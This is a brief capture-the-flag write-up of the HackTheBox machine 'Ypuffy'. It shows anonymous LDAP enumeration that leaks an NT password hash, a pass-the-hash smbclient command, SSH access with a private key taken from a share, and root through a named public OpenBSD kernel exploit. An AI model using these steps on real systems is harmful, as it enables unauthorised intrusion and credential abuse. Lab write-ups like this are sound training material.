Ypuffy @ HackTheBox

Ypuffy @ HackTheBox

Ypuffy is a rather unique machine on hackthebox.eu because it features OpenBSD as operating system. In my version of getting root it didn’t matter too much unfortunately because a public kernel exploit gave root quite easily. Ypuffy features ldap and smb enumeration and then application of public exploit for OpenBSD.

User Flag

Scanning the box shows that port 389 is open and that one can potentially retrieve information without the need of credentials.

389/tcp open  ldap        (Anonymous bind OK)
445/tcp open  netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)

Using nmaps ldap-search some interesting information can be revealed:

|     dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
|         uid: alice1978
|         cn: Alice
|         objectClass: account
|         objectClass: posixAccount
|         objectClass: top
|         objectClass: sambaSamAccount
|         userPassword: {BSDAUTH}alice1978
|         uidNumber: 5000
|         gidNumber: 5000
|         gecos: Alice
|         homeDirectory: /home/alice1978
|         loginShell: /bin/ksh
|         sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
|         displayName: Alice
|         sambaAcctFlags: [U          ]
|         sambaPasswordHistory: 
|         sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
|         sambaPwdLastSet: 1532916644

The credentials can be used to connect via smb:

python2 /usr/bin/smbclient.py YPUFFY/alice1978@ -hashes 00000000000000000000000000000000:0B186E661BBDBDCF6047784DE8B9FD8B

Issuing shares it can be seen that a share named
“alice” exist. With use alice it can be selected, a private key named “my_private_key.ppk” retrieved and the key been used to ssh into the box as “alice1987” to grab the userflag:

ssh alice1978@ -i alice.priv

Root Flag

Turns out the box uses Openbsd – looking for fitting kernel exploits, raptor_xorgasm can be found. After compiling and executing the exploit we become root and can read flag.

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